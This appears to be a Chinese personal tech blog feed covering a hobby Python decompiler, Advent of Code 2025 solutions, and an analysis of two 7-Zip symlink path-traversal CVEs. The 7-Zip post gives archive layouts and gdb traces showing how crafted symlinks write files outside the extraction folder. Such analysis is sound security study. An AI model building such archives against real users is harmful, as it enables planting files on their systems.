二进制咸鱼的自我救赎

继续完善不太能用的 Python 反编译器

2026-09-03T00:00:00+00:00

在之前的文章里，我实现了一个不太能用的 Python 反编译器，后来在不断咨询 LLM 修复建议，并手动分析和实现之后，现在能对简单的程序进行反编译了。在这篇文章里，我讲一下主要的修复项。</p>

控制流图恢复</h2>
这里我使用了更成熟的方案。首先遍历所有汇编指令，根据不同类型的跳转语句，FOR_ITER 语句，来收集每一个 BB 的开头偏移，然后根据这些开头偏移，将一堆的指令切分到不同的 BB 中，最后再根据 BB 中的条件跳转，非条件跳转语句，来构建整个控制流图。如果两个 BB 相邻，而且前一个 BB 最后的指令不是跳转语句，那也将其连接。</p>
相对于之前的方案，新的方案对 BB 切分更清晰，并且可以在 CFG 中添加边的类型，例如是条件为真的跳转，还是别的跳转。</p>

控制流构建</h2>
在识别非循环控制流的时候，我优化了单个 if 存在多个条件的判断。现在是生成左右节点的支配者链，然后在左右节点的支配者链里找到共有的支配者，最后在共有支配者里找到最近的支配者。相对于之前的算法，避免了需要处理循环的情况，也不需要一直找前序节点。我还在识别非循环控制流的外层加入了循环，不断进行识别和合并，当识别不到新的节点时候再退出，防止有一些节点未被整合到 if 语句中。</p>
在识别循环控制流的时候，对 Havlak 算法得到的结果进行了优化。现在会根据 Havlak 算法得到的结果，找到该循环的回边，出口节点。再根据回边，去计算该循环中是否有 break 语句，如果有的话，则插入 BreakNode 和 IfElseNode 节点，用于构造 AST。</p>
在之前的识别之后，会将匹配到的 BB 替换成 AST Node，逐渐构造出一颗 AST 树，供后续反编译语句使用。</p>

反编译语句</h2>
在反编译语句的时候，修复了之前存在的一些问题，例如自增语句解析，CALL 语句参数解析。</p>
之前只能反编译一个 BB 中的语句，现在改成了遍历重新构造的 CFG 生成 AST 树，并遍历 AST 树输出反编译的结果。</p>

成品</h2>

现在能反编译一些非常基础的汇编片段了...</p>

$</span> uv</span> run</span> main.py</span> test_prog/if_branch_1.txt</span></span>
value</span> =</span> a</span></span>
if</span> a</span> ></span> b:</span></span>
    value</span> =</span> a</span></span>
else:</span></span>
    value</span> =</span> b</span></span>
return</span> value</span></span></code></pre>后续工作</h2>

现在将 AST 和 CFG 混合在了一起，如果需要继续扩展的话，需要进行拆分。</li>
程序的主要逻辑可以改成一个大的循环，不断的去识别非循环控制流和循环控制流。</li>
更多语句的支持，更多测试用例，测试一些真实环境中的程序。</li>
</ul>
总结</h2>
这次在 LLM 的帮助下修好了之前的反编译器。LLM 负责分析代码，给出修复建议，我来审核建议并编写代码。我尝试过让 LLM 自己去完善代码，它确实能完成功能，但是在代码结构上，会偏向于新增而不是重构之前的代码，导致在几轮对话之后，项目有点面目全非了，并且我还有点看不懂。最后考虑到这个项目的性质是偏向于让我学到一些东西，我还是选择了自己编写代码。</p>

如果现在要做反编译工作的话，可以考虑将 Python 字节码直接给大模型，让他生成反编译后的 Python 代码。</p>
</blockquote>
代码：https://github.com/chenx6/gadget/tree/master/pydec</a></p>



7z 路径处理导致的问题（CVE-2025-11001/CVE-2025-55188）
2026-02-19T00:00:00+00:00
去年在上网冲浪的时候发现 7z 连续在软链接处理上爆出来了 3 个漏洞，而且是可稳定利用的路径穿梭漏洞，所以就想自己看看为什么会出现这种情况，两者之间是否有共通点。</p>
构建</h2>
在 Linux 下执行下面命令即可构建。</p>
cd</span> CPP/7zip/Bundles/Alone</span></span>
make</span> -</span>f</span> makefile.gcc</span></span></code></pre>梦开始的地方</h2>
24.09 版本下，会使用下面函数对软链接进行检查，当 LowLevel (文件相对于解压路径的最小层级) 和 FinalLevel (文件相对于解压路径的层级) 不符合要求的时候，会拒绝解压。防止软链接指向了指定解压目录的外面。</p>
bool</span> IsSafePath</span>(</span>const</span> UString</span> &</span>path</span>)</span></span>
{</span></span>
  CLinkLevelsInfo levelsInfo</span>;</span></span>
  levelsInfo</span>.</span>Parse</span>(</span>path</span>)</span>;</span></span>
  return</span> !</span>levelsInfo</span>.</span>IsAbsolute</span></span>
      &&</span> levelsInfo</span>.</span>LowLevel</span> >=</span> 0</span></span>
      &&</span> levelsInfo</span>.</span>FinalLevel</span> ></span> 0</span>;</span></span>
}</span></span></code></pre>
例如 "./dir/../file" 的 LowLevel 为 0，FinalLevel 为 1，可以通过校验。但是 "./dir/../../file" 的 LowLevel 为 -1, FinalLevel 为 0，不能通过校验。</p>
软链接处理流程</h2>
下面是精简版本的解压文件函数调用图，在后面两个 CVE 的分析中都可以参考。</p>
GetExtractStream</span>(</span>)</span></span>
    if</span> (</span>_fi</span>.</span>IsLinuxSymLink</span>(</span>)</span>)</span></span>
        _is_SymLink_in_Data_Linux </span>=</span> true</span>;</span></span>
CloseReparseAndFile</span>(</span>)</span></span>
    needSetReparse </span>=</span> linkInfo</span>.</span>Parse</span>(</span>_outMemBuf</span>,</span> reparseSize</span>,</span> _is_SymLink_in_Data_Linux</span>)</span>;</span></span>
        isRelative </span>=</span> true</span>;</span></span>
        return</span> true</span>;</span></span>
    if</span> (</span>needSetReparse</span>)</span></span>
        SetFromLinkPath</span>(</span>_diskFilePath</span>,</span> linkInfo</span>,</span> linkWasSet</span>)</span></span>
            //</span> 检查软链接路径</span></span>
            if</span> (</span>linkInfo</span>.</span>isRelative</span>)</span></span>
                relatPath </span>=</span> GetDirPrefixOf</span>(</span>_item</span>.</span>Path</span>)</span>;</span></span>
            relatPath </span>+=</span> linkInfo</span>.</span>linkPath</span>;</span></span>
            IsSafePath</span>(</span>relatPath</span>)</span></span>
            //</span> 解压软链接</span></span>
            if</span> (</span>!</span>linkInfo</span>.</span>isRelative</span>)</span></span>
                NName</span>::</span>GetFullPath</span>(</span>_dirPathPrefix_Full</span>,</span> us2fs</span>(</span>relatPath</span>)</span>,</span> existPath</span>)</span></span>
            else</span></span>
                existPath </span>=</span> us2fs</span>(</span>linkInfo</span>.</span>linkPath</span>)</span></span>
            FillLinkData</span>(</span>data</span>,</span> fs2us</span>(</span>existPath</span>)</span>,</span> !</span>linkInfo</span>.</span>isJunction</span>,</span> linkInfo</span>.</span>isWSL</span>)</span></span>
            NFile</span>::</span>NIO</span>::</span>SetReparseData</span>(</span>fullProcessedPath</span>,</span> _item</span>.</span>IsDir</span>,</span> data</span>,</span> (</span>DWORD</span>)</span>data</span>.</span>Size</span>(</span>)</span>)</span></span></code></pre>CVE-2025-11001</h2>
这个漏洞是在 25.00 进行修复的。当软链接指向 "C:" 开头的路径的时候，完全满足 IsSafePath</code> 的检查。导致创建一个穿梭出解压路径的软链接。压缩包后续的文件只要在这个软链接指向的文件夹内，就会被直接解压到这个软链接指向的文件夹。</p>
例如存在下面压缩包，在解压软链接会使用 IsSafePath("link/C:\")</code> 通过检查，创建软链接，并且在解压投毒文件的时候，会将文件放到 "C:\file" 处，造成路径穿梭。由于路径中有 "C:"，所以只能在 Windows 下利用。</p>
link/ -> C:\  // 软链接</span></span>
link/file     // 投毒文件</span></span></code></pre>CVE-2025-55188</h2>
这个漏洞是在 25.01 进行修复的。利用的是 7z 会将压缩包中指向绝对路径的软链接改为当前目录下，再加上 7z 解压文件的时候，是按照一定顺序进行解压的，导致可以通过嵌套软链接绕过检查，实现路径穿梭。</p>
例如我在 "/tmp/test" 目录下解压下面的压缩包。压缩包里的这些软链接都可以通过 IsSafePath()</code> 的检查。但是在解压 "a/b/link" 的时候 7z 使其指向 "/tmp/test/a"，然后在解压 "link" 的时候 7z 使其指向 "a/b/link/../../"，最后到解压 "link/file" 的时候会被解压到 "/tmp/file"，构成路径穿梭。</p>
a/b/link -> /a</span></span>
link -> a/b/link/../../</span></span>
link/file</span></span></code></pre>
解压后文件夹结构如下：</p>
/tmp/test> tree</span></span>
.</span></span>
├── a</span></span>
│   └── b</span></span>
│       └── link -> /tmp/test/a</span></span>
└── link -> a/b/link/../../</span></span>
</span>
5 directories, 0 files</span></span></code></pre>
可以 gdb 动态调试一下发现这个神奇的利用：</p>
(gdb) set args x arb_write.tar</span></span>
(gdb) b NWindows::NFile::NIO::SetSymLink</span></span>
Breakpoint 1 at 0x44bd00: file ../../../Windows/FileLink.cpp, line 606.</span></span>
(gdb) r</span></span>
Breakpoint 1, NWindows::NFile::NIO::SetSymLink (from=0x5b05c0 "./a/b/link", to=0x5af8b0 "/tmp/test/a")</span></span>
    at ../../../Windows/FileLink.cpp:606</span></span>
606       ir = symlink(to, from);</span></span>
(gdb) c</span></span>
Continuing.</span></span>
Breakpoint 1, NWindows::NFile::NIO::SetSymLink (from=0x5b0480 "./link", to=0x5b0b80 "a/b/link/../../")</span></span>
    at ../../../Windows/FileLink.cpp:606</span></span>
606       ir = symlink(to, from);</span></span>
(gdb) c</span></span>
[Inferior 1 (process 44196) exited normally]</span></span>
(gdb) q</span></span></code></pre>修复方法</h2>
对于 CVE-2025-11001，是加强了 IsSafePath 的检查，使用 NName::IsAbsolutePath</code> 进行校验。</p>
对于 CVE-2025-55188，则是避免嵌套软链接，延迟链接的解压等一系列操作，来规避问题。毕竟一年 3 个漏洞都和路径穿梭有关系，肯定要加强注意。</p>
总结</h2>
这两个漏洞虽然都是对路径处理出现了问题，但是出问题的方式还是不一样的，一个是对跨平台（Windows/Unix）文件路径的处理问题，另一个则是对链接的处理出现了问题。</p>
Refs</h2>

Diffing 7-Zip for CVE-2025-11001</a></li>
CVE-2025-55188: 7-Zip Arbitrary Code Execution</a></li>
</ul>


Advent of Code 2025 完赛记录
2025-12-31T00:00:00+00:00
连续几年都参加了 AOC，但是没有一年能完赛，今年终于完成了比赛。今年的题目不会很难，而且题量缩减，再加上大模型也能给一点思路（其实用大模型写代码的话估计可以秒杀很多题目，但是我没有这么用），所以还是能做完的。这篇文章主要讲一下里面用到了一些算法的地方。</p>
Day5 Part2</h2>
题目可以理解为找出给定的所有区间内的整数。而且也给了提示区间是有重复的，所以我们遍历所有区间，来不断的合并重复的区间，并删除原本的区间，直到没有线段可以合并，说明合并完成。假设两个区间分别 (start, end)</code> 和 (a_start, a_end)</code>，判断在 x 轴上重合可以用 max(start, a_start) <= min(end, a_end)</code> 这个公式来判断。</p>
def</span> solve_p2</span>(</span>lines</span>:</span> list</span>[</span>str</span>]</span>)</span>:</span></span>
    ranges</span>:</span> list</span>[</span>tuple</span>[</span>int</span>,</span> ...</span>]</span>]</span> =</span> [</span>]</span></span>
    cnt</span> =</span> 0</span></span>
    for</span> line</span> in</span> lines</span>:</span></span>
        if</span> line</span> ==</span> "</span>"</span>:</span></span>
            break</span></span>
        ranges</span>.</span>append</span>(</span>tuple</span>(</span>int</span>(</span>t</span>)</span> for</span> t</span> in</span> line</span>.</span>split</span>(</span>"</span>-</span>"</span>)</span>)</span>)</span></span>
    while</span> True</span>:</span></span>
        merge_deleted</span> =</span> set</span>(</span>)</span></span>
        merged</span> =</span> set</span>(</span>)</span></span>
        for</span> i</span> in</span> range</span>(</span>len</span>(</span>ranges</span>)</span>)</span>:</span></span>
            start</span>,</span> end</span> =</span> ranges</span>[</span>i</span>]</span></span>
            if</span> ranges</span>[</span>i</span>]</span> in</span> merge_deleted</span>:</span></span>
                #</span> 线段已经被删除了，无需判断</span></span>
                continue</span></span>
            for</span> j</span> in</span> range</span>(</span>i</span> +</span> 1</span>,</span> len</span>(</span>ranges</span>)</span>)</span>:</span></span>
                a_start</span>,</span> a_end</span> =</span> ranges</span>[</span>j</span>]</span></span>
                if</span> ranges</span>[</span>j</span>]</span> in</span> merge_deleted</span>:</span></span>
                    continue</span></span>
                if</span> max</span>(</span>start</span>,</span> a_start</span>)</span> <=</span> min</span>(</span>end</span>,</span> a_end</span>)</span>:</span></span>
                    #</span> 线段重合</span></span>
                    merged</span>.</span>add</span>(</span>(</span>min</span>(</span>start</span>,</span> a_start</span>)</span>,</span> max</span>(</span>end</span>,</span> a_end</span>)</span>)</span>)</span></span>
                    merge_deleted</span>.</span>add</span>(</span>ranges</span>[</span>i</span>]</span>)</span></span>
                    merge_deleted</span>.</span>add</span>(</span>ranges</span>[</span>j</span>]</span>)</span></span>
        if</span> not</span> merged</span>:</span></span>
            #</span> 没有可以合并的线段，退出循环</span></span>
            break</span></span>
        #</span> 计算合并后的线段</span></span>
        ranges</span> =</span> list</span>(</span>(</span>set</span>(</span>ranges</span>)</span> -</span> merge_deleted</span>)</span> |</span> merged</span>)</span></span>
    for</span> start</span>,</span> end</span> in</span> ranges</span>:</span></span>
        cnt</span> +=</span> end</span> -</span> start</span> +</span> 1</span></span>
    print</span>(</span>cnt</span>)</span></span></code></pre>Day8 Part2</h2>
Part1 题目为在连接 1000 条边之后，找出边的长度最大的 3 颗树。可以转换为使用并查集来推导出森林，然后再遍历森林找出最大的树。</p>
Part2 题目为找出最小生成树。在 Part1 已经有并查集的情况下，使用克鲁斯卡尔算法计算，即可解决。</p>
class</span> UnionFind</span>[</span>T</span>]</span>:</span></span>
    #</span> https://zhuanlan.zhihu.com/p/666225895, 这个 Python 实现是错的...</span></span>
    #</span> https://blog.csdn.net/WZHao000/article/details/142529658</span></span>
    def</span> __init__</span>(</span>self</span>,</span> nodes</span>:</span> list</span>[</span>T</span>]</span>)</span>:</span></span>
        self</span>.</span>father</span>:</span> dict</span>[</span>T</span>,</span> T</span>]</span> =</span> dict</span>(</span>(</span>i</span>,</span> i</span>)</span> for</span> i</span> in</span> nodes</span>)</span></span>
</span>
    def</span> find</span>(</span>self</span>,</span> node</span>:</span> T</span>)</span>:</span></span>
        if</span> self</span>.</span>father</span>[</span>node</span>]</span> ==</span> node</span>:</span></span>
            return</span> node</span></span>
        self</span>.</span>father</span>[</span>node</span>]</span> =</span> self</span>.</span>find</span>(</span>self</span>.</span>father</span>[</span>node</span>]</span>)</span></span>
        return</span> self</span>.</span>father</span>[</span>node</span>]</span></span>
</span>
    def</span> union</span>(</span>self</span>,</span> node_x</span>:</span> T</span>,</span> node_y</span>:</span> T</span>)</span>:</span></span>
        root_x</span> =</span> self</span>.</span>find</span>(</span>node_x</span>)</span></span>
        root_y</span> =</span> self</span>.</span>find</span>(</span>node_y</span>)</span></span>
        if</span> root_x</span> !=</span> root_y</span>:</span></span>
            self</span>.</span>father</span>[</span>root_x</span>]</span> =</span> root_y</span></span>
</span>
    def</span> __str__</span>(</span>self</span>)</span> -></span> str</span>:</span></span>
        return</span> str</span>(</span>self</span>.</span>father</span>)</span></span>
</span>
</span>
def</span> kruskal</span>(</span>pos_lst</span>:</span> list</span>[</span>Point</span>]</span>,</span> dis_lst</span>:</span> list</span>[</span>tuple</span>[</span>Point</span>,</span> Point</span>,</span> float</span>]</span>]</span>)</span>:</span></span>
    uf</span> =</span> UnionFind</span>(</span>pos_lst</span>)</span></span>
    edge_cnt</span> =</span> 0</span></span>
    for</span> p1</span>,</span> p2</span>,</span> dis</span> in</span> dis_lst</span>:</span></span>
        p1_parent</span>,</span> p2_parent</span> =</span> uf</span>.</span>find</span>(</span>p1</span>)</span>,</span> uf</span>.</span>find</span>(</span>p2</span>)</span></span>
        if</span> p1_parent</span> ==</span> p2_parent</span>:</span></span>
            continue</span></span>
        uf</span>.</span>union</span>(</span>p1_parent</span>,</span> p2_parent</span>)</span></span>
        edge_cnt</span> +=</span> 1</span></span>
        if</span> edge_cnt</span> ==</span> len</span>(</span>pos_lst</span>)</span> -</span> 1</span>:</span></span>
            print</span>(</span>p1</span>[</span>0</span>]</span> *</span> p2</span>[</span>0</span>]</span>)</span></span>
            break</span></span></code></pre>Day9 Part2</h2>
这是两个多边形是否相交问题的简化版本，一个多边形和一个矩形是否完全重合。可以检查 4 个点是否在多边形内，再检查边是否在多边形内，即可解决。但是我偷懒了，使用了 "shapely" 库来解决。</p>
from</span> multiprocessing</span> import</span> Pool</span></span>
from</span> itertools</span> import</span> combinations</span></span>
</span>
from</span> shapely</span>.</span>geometry</span> import</span> Polygon</span>,</span> box</span></span>
</span>
</span>
def</span> rect_in_poly</span>(</span>p1</span>,</span> p2</span>,</span> poly</span>:</span> Polygon</span>)</span>:</span></span>
    x_min</span>,</span> x_max</span> =</span> min</span>(</span>p1</span>[</span>0</span>]</span>,</span> p2</span>[</span>0</span>]</span>)</span>,</span> max</span>(</span>p1</span>[</span>0</span>]</span>,</span> p2</span>[</span>0</span>]</span>)</span></span>
    y_min</span>,</span> y_max</span> =</span> min</span>(</span>p1</span>[</span>1</span>]</span>,</span> p2</span>[</span>1</span>]</span>)</span>,</span> max</span>(</span>p1</span>[</span>1</span>]</span>,</span> p2</span>[</span>1</span>]</span>)</span></span>
    rect</span> =</span> box</span>(</span>x_min</span>,</span> y_min</span>,</span> x_max</span>,</span> y_max</span>)</span></span>
    if</span> poly</span>.</span>contains</span>(</span>rect</span>)</span>:</span></span>
        return</span> (</span>abs</span>(</span>p1</span>[</span>0</span>]</span> -</span> p2</span>[</span>0</span>]</span>)</span> +</span> 1</span>)</span> *</span> (</span>abs</span>(</span>p1</span>[</span>1</span>]</span> -</span> p2</span>[</span>1</span>]</span>)</span> +</span> 1</span>)</span></span>
    else</span>:</span></span>
        return</span> 0</span></span>
</span>
</span>
def</span> solve</span>(</span>lines</span>:</span> list</span>[</span>str</span>]</span>)</span>:</span></span>
    points</span> =</span> [</span>tuple</span>(</span>map</span>(</span>int</span>,</span> i</span>.</span>split</span>(</span>"</span>,</span>"</span>)</span>)</span>)</span> for</span> i</span> in</span> lines</span>]</span></span>
    poly</span> =</span> Polygon</span>(</span>points</span>)</span></span>
    with</span> Pool</span>(</span>processes</span>=</span>8</span>)</span> as</span> pool</span>:</span></span>
        size_lst</span> =</span> pool</span>.</span>starmap</span>(</span></span>
            rect_in_poly</span>,</span> (</span>(</span>p1</span>,</span> p2</span>,</span> poly</span>)</span> for</span> p1</span>,</span> p2</span> in</span> combinations</span>(</span>points</span>,</span> 2</span>)</span>)</span></span>
        )</span></span>
    print</span>(</span>max</span>(</span>size_lst</span>)</span>)</span></span></code></pre>
在后面研究了 reddit 老哥的回答后，我发现针对于这道题的数据，我们可以将判断多边形和矩形完全重合，转换为判断多边形的每一条边是否和矩形都不重合。而多边形的每一条边都可以被当作一个宽度为 1 的矩形，这样就转换成了两个矩形是否相交的问题。可以参考 AABB-AABB 2D Collision Detection</a> 这个文章里的介绍，写出判断相交的算法。</p>
#</span> https://www.reddit.com/r/adventofcode/comments/1pi3hff/2025_day_9_part_2_a_simple_method_spoiler/</span></span>
from</span> typing</span> import</span> NamedTuple</span></span>
from</span> itertools</span> import</span> combinations</span></span>
</span>
</span>
class</span> Point</span>(</span>NamedTuple</span>)</span>:</span></span>
    x</span>:</span> int</span></span>
    y</span>:</span> int</span></span>
</span>
</span>
class</span> Rectangle</span>:</span></span>
    def</span> __init__</span>(</span>self</span>,</span> p1</span>:</span> Point</span>,</span> p2</span>:</span> Point</span>)</span>:</span></span>
        self</span>.</span>min_x</span> =</span> min</span>(</span>p1</span>.</span>x</span>,</span> p2</span>.</span>x</span>)</span></span>
        self</span>.</span>max_x</span> =</span> max</span>(</span>p1</span>.</span>x</span>,</span> p2</span>.</span>x</span>)</span></span>
        self</span>.</span>min_y</span> =</span> min</span>(</span>p1</span>.</span>y</span>,</span> p2</span>.</span>y</span>)</span></span>
        self</span>.</span>max_y</span> =</span> max</span>(</span>p1</span>.</span>y</span>,</span> p2</span>.</span>y</span>)</span></span>
</span>
    def</span> size</span>(</span>self</span>)</span>:</span></span>
        return</span> (</span>self</span>.</span>max_x</span> -</span> self</span>.</span>min_x</span> +</span> 1</span>)</span> *</span> (</span>self</span>.</span>max_y</span> -</span> self</span>.</span>min_y</span> +</span> 1</span>)</span></span>
</span>
</span>
def</span> intersection</span>(</span>p1</span>:</span> Point</span>,</span> p2</span>:</span> Point</span>,</span> points</span>:</span> list</span>[</span>Point</span>]</span>)</span>:</span></span>
    rect</span> =</span> Rectangle</span>(</span>p1</span>,</span> p2</span>)</span></span>
    for</span> i</span> in</span> range</span>(</span>len</span>(</span>points</span>)</span>)</span>:</span></span>
        start</span> =</span> points</span>[</span>i</span>]</span></span>
        end</span> =</span> points</span>[</span>(</span>i</span> +</span> 1</span>)</span> %</span> len</span>(</span>points</span>)</span>]</span></span>
        erect</span> =</span> Rectangle</span>(</span>start</span>,</span> end</span>)</span></span>
        if</span> (</span></span>
            rect</span>.</span>min_x</span> <</span> erect</span>.</span>max_x</span></span>
            and</span> rect</span>.</span>max_x</span> ></span> erect</span>.</span>min_x</span></span>
            and</span> rect</span>.</span>min_y</span> <</span> erect</span>.</span>max_y</span></span>
            and</span> rect</span>.</span>max_y</span> ></span> erect</span>.</span>min_y</span></span>
        )</span>:</span></span>
            return</span> True</span></span>
    return</span> False</span></span>
</span>
</span>
def</span> solve</span>(</span>points</span>:</span> list</span>[</span>Point</span>]</span>)</span>:</span></span>
    max_size</span> =</span> 0</span></span>
    max_pair</span> =</span> (</span>)</span></span>
    for</span> r0</span>,</span> r1</span> in</span> combinations</span>(</span>points</span>,</span> 2</span>)</span>:</span></span>
        if</span> not</span> intersection</span>(</span>r0</span>,</span> r1</span>,</span> points</span>)</span>:</span></span>
            rect</span> =</span> Rectangle</span>(</span>r0</span>,</span> r1</span>)</span></span>
            if</span> rect</span>.</span>size</span>(</span>)</span> ></span> max_size</span>:</span></span>
                max_size</span> =</span> rect</span>.</span>size</span>(</span>)</span></span>
                max_pair</span> =</span> (</span>r0</span>,</span> r1</span>)</span></span>
                print</span>(</span>max_size</span>,</span> max_pair</span>)</span></span>
    print</span>(</span>max_size</span>,</span> max_pair</span>)</span></span></code></pre>
还有一种方式是将位置较远的点，给压缩成位置相近的点，然后再用填充算法来判断是否完全重合。</p>
Day10 Part2</h2>
这个是通过 z3-solver 的 Optimize</code> 来解决的，我特意看了一下 reddit 上的解答，发现大家都在用 SMT 来解决的，所以我就学习了一个老哥的做法。</p>

其实有看到头铁的老哥，通过求算矩阵方程+暴力循环找最优解的</p>
</blockquote>
#</span> https://github.com/nitekat1124/advent-of-code-2025/blob/main/solutions/day10.py</span></span>
from</span> z3</span> import</span> Int</span>,</span> Sum</span>,</span> Optimize</span>,</span> sat</span></span>
</span>
</span>
def</span> solve</span>(</span>lines</span>:</span> list</span>[</span>str</span>]</span>)</span>:</span></span>
    total</span> =</span> 0</span></span>
    for</span> line</span> in</span> lines</span>:</span></span>
        light</span>,</span> *</span>remain</span> =</span> line</span>.</span>split</span>(</span>"</span> "</span>)</span></span>
        *</span>ops</span>,</span> joltage</span> =</span> remain</span></span>
        ops</span> =</span> [</span>tuple</span>(</span>map</span>(</span>int</span>,</span> i</span>[</span>1</span>:</span>-</span>1</span>]</span>.</span>split</span>(</span>"</span>,</span>"</span>)</span>)</span>)</span> for</span> i</span> in</span> ops</span>]</span></span>
        joltage</span> =</span> [</span>int</span>(</span>i</span>)</span> for</span> i</span> in</span> joltage</span>[</span>1</span>:</span>-</span>1</span>]</span>.</span>split</span>(</span>"</span>,</span>"</span>)</span>]</span></span>
        optimizer</span> =</span> Optimize</span>(</span>)</span>  #</span>  z3 魔法，小子</span></span>
        ops_cnt</span> =</span> [</span>Int</span>(</span>str</span>(</span>i</span>)</span>)</span> for</span> i</span> in</span> ops</span>]</span></span>
        #</span> 每个按钮点击次数 >= 0</span></span>
        for</span> cnt</span> in</span> ops_cnt</span>:</span></span>
            optimizer</span>.</span>add</span>(</span>cnt</span> >=</span> 0</span>)</span></span>
        #</span> 遍历按钮看一下当前 jol 是否被按钮影响到</span></span>
        #</span> 如果影响到就计数</span></span>
        for</span> jol_idx</span>,</span> jol</span> in</span> enumerate</span>(</span>joltage</span>)</span>:</span></span>
            touched</span> =</span> [</span>]</span></span>
            for</span> op_idx</span>,</span> op</span> in</span> enumerate</span>(</span>ops</span>)</span>:</span></span>
                if</span> jol_idx</span> in</span> op</span>:</span></span>
                    touched</span>.</span>append</span>(</span>ops_cnt</span>[</span>op_idx</span>]</span>)</span></span>
            optimizer</span>.</span>add</span>(</span>Sum</span>(</span>touched</span>)</span> ==</span> jol</span>)</span></span>
        optimizer</span>.</span>minimize</span>(</span>Sum</span>(</span>ops_cnt</span>)</span>)</span></span>
        if</span> optimizer</span>.</span>check</span>(</span>)</span> ==</span> sat</span>:</span></span>
            model</span> =</span> optimizer</span>.</span>model</span>(</span>)</span></span>
            total</span> +=</span> sum</span>(</span>model</span>[</span>c</span>]</span>.</span>as_long</span>(</span>)</span> for</span> c</span> in</span> ops_cnt</span>)</span>  # </span>type:</span> ignore</span></span>
        else</span>:</span></span>
            print</span>(</span>"</span>What?</span>"</span>)</span></span>
            exit</span>(</span>)</span></span>
    print</span>(</span>total</span>)</span></span></code></pre>Day11 Part2</h2>
这个题目是找到图中几个点之间有多少条路线，通过 DFS + 缓存会在求解第一条路线的时候卡住，问了一下 Deepseek, 他给出了使用拓扑排序 + 动态规划可以很快的解决。有一种可能经过的路线为 "dac" => "fft"，但是在我的数据中，这个路线没有联通的可能性，所以直接忽略了。</p>
def</span> dfs_cached</span>(</span>node</span>:</span> str</span>,</span> end</span>:</span> str</span>,</span> graph</span>:</span> dict</span>[</span>str</span>,</span> list</span>[</span>str</span>]</span>]</span>,</span> cache</span>:</span> dict</span>[</span>str</span>,</span> int</span>]</span>)</span>:</span></span>
    if</span> node</span> ==</span> end</span>:</span></span>
        return</span> 1</span></span>
    if</span> cnt</span> :=</span> cache</span>.</span>get</span>(</span>node</span>)</span>:</span></span>
        return</span> cnt</span></span>
    cnt</span> =</span> 0</span></span>
    for</span> dec</span> in</span> graph</span>.</span>get</span>(</span>node</span>,</span> [</span>]</span>)</span>:</span></span>
        cnt</span> +=</span> dfs_cached</span>(</span>dec</span>,</span> end</span>,</span> graph</span>,</span> cache</span>)</span></span>
    cache</span>[</span>node</span>]</span> =</span> cnt</span></span>
    return</span> cnt</span></span>
</span>
</span>
def</span> count_paths_in_dag</span>(</span>graph</span>:</span> dict</span>[</span>str</span>,</span> list</span>[</span>str</span>]</span>]</span>,</span> start</span>:</span> str</span>,</span> end</span>:</span> str</span>)</span>:</span></span>
    #</span> 初始化入度</span></span>
    indeg</span> =</span> defaultdict</span>(</span>int</span>)</span></span>
    for</span> ancs</span> in</span> graph</span>.</span>values</span>(</span>)</span>:</span></span>
        for</span> anc</span> in</span> ancs</span>:</span></span>
            indeg</span>[</span>anc</span>]</span> +=</span> 1</span></span>
</span>
    #</span> 拓扑排序</span></span>
    q</span> =</span> deque</span>(</span>i</span> for</span> i</span> in</span> graph</span>.</span>keys</span>(</span>)</span> if</span> indeg</span>[</span>i</span>]</span> ==</span> 0</span>)</span></span>
    topo</span> =</span> [</span>]</span></span>
    while</span> q</span>:</span></span>
        u</span> =</span> q</span>.</span>popleft</span>(</span>)</span></span>
        topo</span>.</span>append</span>(</span>u</span>)</span></span>
        for</span> v</span> in</span> graph</span>.</span>get</span>(</span>u</span>,</span> [</span>]</span>)</span>:</span></span>
            indeg</span>[</span>v</span>]</span> -=</span> 1</span></span>
            if</span> indeg</span>[</span>v</span>]</span> ==</span> 0</span>:</span></span>
                q</span>.</span>append</span>(</span>v</span>)</span></span>
</span>
    #</span> DP计数</span></span>
    dp</span> =</span> defaultdict</span>(</span>int</span>)</span></span>
    dp</span>[</span>start</span>]</span> =</span> 1</span></span>
    for</span> u</span> in</span> topo</span>:</span></span>
        for</span> v</span> in</span> graph</span>.</span>get</span>(</span>u</span>,</span> [</span>]</span>)</span>:</span></span>
            dp</span>[</span>v</span>]</span> +=</span> dp</span>[</span>u</span>]</span>  #</span> 对于每一个节点，更新他的邻居</span></span>
</span>
    return</span> dp</span>[</span>end</span>]</span></span>
</span>
</span>
def</span> solve</span>(</span>lines</span>:</span> list</span>[</span>str</span>]</span>)</span>:</span></span>
    graph</span>:</span> dict</span>[</span>str</span>,</span> list</span>[</span>str</span>]</span>]</span> =</span> {</span>}</span></span>
    for</span> line</span> in</span> lines</span>:</span></span>
        node</span>,</span> remain</span> =</span> line</span>.</span>split</span>(</span>"</span>: </span>"</span>)</span></span>
        decs</span> =</span> remain</span>.</span>split</span>(</span>"</span> "</span>)</span></span>
        graph</span>[</span>node</span>]</span> =</span> decs</span></span>
    #</span> dac_fft = dfs_cached("dac", "fft", graph, {})</span></span>
    svr_fft</span> =</span> count_paths_in_dag</span>(</span>graph</span>,</span> "</span>svr</span>"</span>,</span> "</span>fft</span>"</span>)</span></span>
    print</span>(</span>svr_fft</span>)</span></span>
    fft_dac</span> =</span> dfs_cached</span>(</span>"</span>fft</span>"</span>,</span> "</span>dac</span>"</span>,</span> graph</span>,</span> {</span>}</span>)</span></span>
    print</span>(</span>fft_dac</span>)</span></span>
    dac_out</span> =</span> dfs_cached</span>(</span>"</span>dac</span>"</span>,</span> "</span>out</span>"</span>,</span> graph</span>,</span> {</span>}</span>)</span></span>
    print</span>(</span>dac_out</span>)</span></span>
    print</span>(</span>svr_fft</span> *</span> fft_dac</span> *</span> dac_out</span>)</span></span></code></pre>Day12 Part1</h2>
题目是一个很复杂的问题，是不规则多边形填充到矩形问题，可以通过回溯法 + 剪枝来实现，但是题目作者特意优化数据，导致直接计算不规则多边形的面积是否大于矩形就可以解决了，让大家过了个好年（好圣诞节）。</p>
总结</h2>
虽然题目难度不大，但是还是重新复习了不少东西。</p>
Refs</h2>

https://www.reddit.com/r/adventofcode</a></li>
</ul>


实现一个不太能用的 Python 字节码反编译器
2025-10-07T00:00:00+00:00
写一个反编译器是我在大学的时候就有的一个想法，因为现有的反编译器支持的架构和语言很有限，能自己写反编译器就能支持更多语言了。结果发现这是一个大坑，公开的资料很少，而且需要手动处理很多很多的边界条件，在研究了好几个月之后，我才开始写这一篇文章，记录一个还没完成的反编译器实现。代码质量不好，并且可能无法工作，敬请见谅。</em></p>
由于 Python 在不同版本之间，可能会调整字节码的生成逻辑，所以较难找到一个通用的规则去进行匹配，这篇文章里的内容只针对 Python 3.11 的字节码。</p>
总体架构</h2>
